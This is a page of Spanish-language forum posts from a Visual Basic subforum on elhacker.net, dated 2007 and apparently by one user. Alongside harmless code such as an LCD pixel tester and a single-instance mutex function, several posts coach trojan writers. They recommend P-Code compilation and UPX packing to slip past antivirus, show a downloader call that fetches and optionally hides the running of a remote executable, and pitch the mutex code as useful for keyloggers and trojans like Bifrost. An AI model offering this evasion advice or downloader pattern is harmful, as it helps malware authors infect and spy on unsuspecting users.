elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: 1 ... 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 [82] 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 ... 102
811  Programación / Programación Visual Basic / Re: Mi "troyano" en: 22 Mayo 2007, 21:10 pm
O más facil: compila el server en modo P-Code, comprime el server en UPX

Aunque lo lógico es re-programar el server cambiando las Strings (todo lo que esté entre "")

Saludos!!
812  Programación / Programación Visual Basic / Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función! en: 22 Mayo 2007, 09:23 am
y en que carpeta lo guarda.. por ejemplo..

Pues es fácil... este código captura las carpetas que hay dentro de las variables globales del sistema: windir, systemroot, homedrive, userprofile, tmp, etc...

Esta explicado en los parámetros de la función:

Código:
DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)

DownloadFile "http://www.server.com/a.exe", "server.exe"

Esta función me gusrda el archivo en C:\DOCUME~1\USUARI~1\CONFIG~1\Temp\server.exe. Lo ejecuta de forma visible.

Luego juega tu mismo con los demás parámetros de la función DownloadFile.

Saludos!!
813  Programación / Programación Visual Basic / Re: url en visual basic en: 20 Mayo 2007, 14:17 pm
Seguro que es para intentar hacer un DDoS a base de peticiones xD

Eres un malotte...  :¬¬
814  Programación / Programación Visual Basic / Re: Mi "troyano" en: 20 Mayo 2007, 14:14 pm
A mi tambien me tira error
815  Programación / Programación Visual Basic / [Source] Efecto para poner en un "AboutBox Dialog" en: 19 Mayo 2007, 19:36 pm
Buenas, siempre me ha fascinado como algunos programadores (de troyanos y cracks o keygens), dedican unos minutos en programar sencillos efectos en sus ventanas de "About", en mi afán de intentar ponerme a su altura he programado este sencillo efecto de máquina de escribir.

Si no recuerdo mal SubSeven 2.0 usaba esta técnica, aunque a mobman (programador del Sub7) le salió mucho mejor, con colores, música y efecto de partículas. Claro que él uso C++ para programar su troyano :P

Saludos!!

816  Programación / Programación Visual Basic / Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función! en: 19 Mayo 2007, 19:31 pm
Seria una wena idea q algun moderador global reopilara sus codigos, verdad ||MadAntrax||

Por una simple cuestión de igualdad, no creo que sea justo que se recopilen mis sources simplemente porque tenga el "poder" de hacerlo. Si algun usuario quiere mis sources solo tiene que usar el buscador y filtrar por mi usuario en el subforo de VB, no?

Saludos!!
817  Programación / Programación Visual Basic / Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función! en: 19 Mayo 2007, 19:24 pm
Si te das cuenta, al guardar ese codigo en un Modulo BAS y lo guardas (No copilar), los antivirus lo detectan como Troyano.

Si quieres haz la prueba y subelo a VirusTotal.

Sí, es cierto ,esto ocurre porque los objectos Microsoft.XMLHTTP y ADODB.Stream pueden usarse en archivos VBScripting (como en VBS, VBE, HTML, etc...) permitiendo crear un downloader en texto plano, por eso algunos AntiVirus detectará en código fuente como "virus".

Pero no te preocupes por eso, si lo compilas (creas el EXE) los Antivirus por ahora no lo detectan, y siempre puedes terminar comprimiendo tu ejecutable en UPX o compilando a P-Code para dificultar su detección.

Saludos!!
818  Programación / Programación Visual Basic / [Source] LCD-ScreenTest - Comprueba si tu monitor LCD tiene pixeles muertos !!! en: 19 Mayo 2007, 19:14 pm
Bueno, hace una semana me he comprado un monitor LCD de 21 pulgadas :rolleyes: y quería saber si tenia algún pixel muerto (que últimamente los fabricantes pasan de los pixeles muertos).

Así que he programado una sencilla utilidad que pone el monitor en todos los colores posibles, permitiendo ver si tienes algún pixel defectuoso, he escogido estos valores:

Código:
RGB(255, 255, 255)
RGB(255, 255, 0)
RGB(255, 0, 255)
RGB(255, 0, 0)
RGB(0, 255, 255)
RGB(0, 255, 0)
RGB(0, 0, 255)
RGB(0, 0, 0)

Su uso es sencillo, ejecuta el programa y la pantalla se pondrá en blanco, mira si tiene algun pixel muerto... Para pasar a otro color haz click con el ratón o simplemente pulsa la tecla "Espacio" o "Enter". Si quieres cancelar el proceso y salir en cualquier momento pulsa "Esc" o espera a llegar al color negro.



La idea no es 100% mía, ví un código similar en pscode.com

Os dejo el source (no lo he comentado porque es muy simple) y una versión compilada para quien quiera probarlo sin usar el VisualBasic6

Saludos!! :xD
819  Programación / Programación Visual Basic / [Source] IsMutexRunning... sencilla función para evitar multiples instancias!! en: 19 Mayo 2007, 17:33 pm
Aqui vuelve el pesao de MadAntrax con otro de sus códigos...

Esta vez sirve para controlar que nuestra aplicación no sea ejecutada 2 veces en un mismo equipo. Algunos pensareis que eso ya se puede hacer con

Código
  1. If App.PrevInstance = True Then End

pero eso no es cierto... si nuestra aplicación se copia en System32 como: programa1.exe y programa2.exe... el usuario podrá ejecutar el programa1.exe y el programa2.exe simultáneamente! Eso puede suponer un problema en el caso de estar programando un troyano o un keylogger (donde lo importante es solo tener una instancia de nuestro malware a la vez).

Si no recuerdo mal, el troyano Bifrost usa esta función para controlar que solo un server.exe esté ejecutándose a la vez en un mismo sistema, y si la memoria no me falla este Mutex se puede personalizar en el EditServer. Bien, como creo yo una función similar en VB, así de simple:

Module1.bas
Código
  1. 'Estas sin las API's necesarias para crear y controlar el Mutex
  2. Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByVal lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
  3. Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
  4. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  5.  
  6. 'Variable Global que almacena el Handle de nuestro Mutex
  7. Private hMutex As Long
  8.  
  9. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  10. ' IsMutexRunning Parametros:
  11. '   MutexStr = String
  12. '       Cadena de texto única que usaremos para controlar nuestro Mutex
  13. '
  14. '   Valor de retorno = Boolean
  15. '       Devuelve TRUE si existe el Mutex
  16. '       Devuleve FALSE si no encuentra el Mutex
  17. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  18.  
  19. Public Function IsMutexRunning(ByVal MutexStr As String) As Boolean
  20.    hMutex = CreateMutex(0&, 0&, MutexStr)              'Creamos nuestro Mutex único
  21.    If hMutex = 0 Then                                  'Si el Handle es 0 es que algo no va bien :S
  22.        MsgBox "Ha ocurrido un error al intentar crear el Mutex. Es imposible controlar las instancias de este proceso", vbCritical + vbOKOnly, "CreateMutex Error"
  23.        IsMutexRunning = False
  24.    Else
  25.        If WaitForSingleObject(hMutex, 0&) = &H0 Then   'Comprobamos si ya existe ese Handle
  26.            IsMutexRunning = False                      'Si no existe, devolvemos FALSE
  27.        Else
  28.            MsgBox "Solo se permite una instancia simultanea de este proceso", vbOKOnly, "CreateMutex"
  29.            CloseHandle hMutex                          'Si existe, cerramos el nuevo Handle
  30.            IsMutexRunning = True                       'Y devolvemos TRUE
  31.        End If
  32.    End If
  33. End Function

y el el Form1.frm...
Código
  1. Private Sub Form_Load()
  2.    'Evitar usar un Mutex superior a 256 carácteres
  3.    'Recomiendo usar un Mutex poco común, asi evitamos problemas...
  4.    If IsMutexRunning("MadAntrax_Mutex[73@]") = True Then End
  5. End Sub
  6.  

Así de simple!! os dejo un proyecto de ejemplo 100% funcional, la descarga esta habilitada solo a usuarios registrados!!

Saludos!! ;D
820  Programación / Programación Visual Basic / Re: [Source] How to Melt a file in VB6 en: 19 Mayo 2007, 01:45 am
Mira si tienes esta línea en tu proyecto y borrala:

Código:
Option Explicit

Si no, dinos en qe linea te peta y que error te devuelve!
Páginas: 1 ... 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 [82] 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 ... 102
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines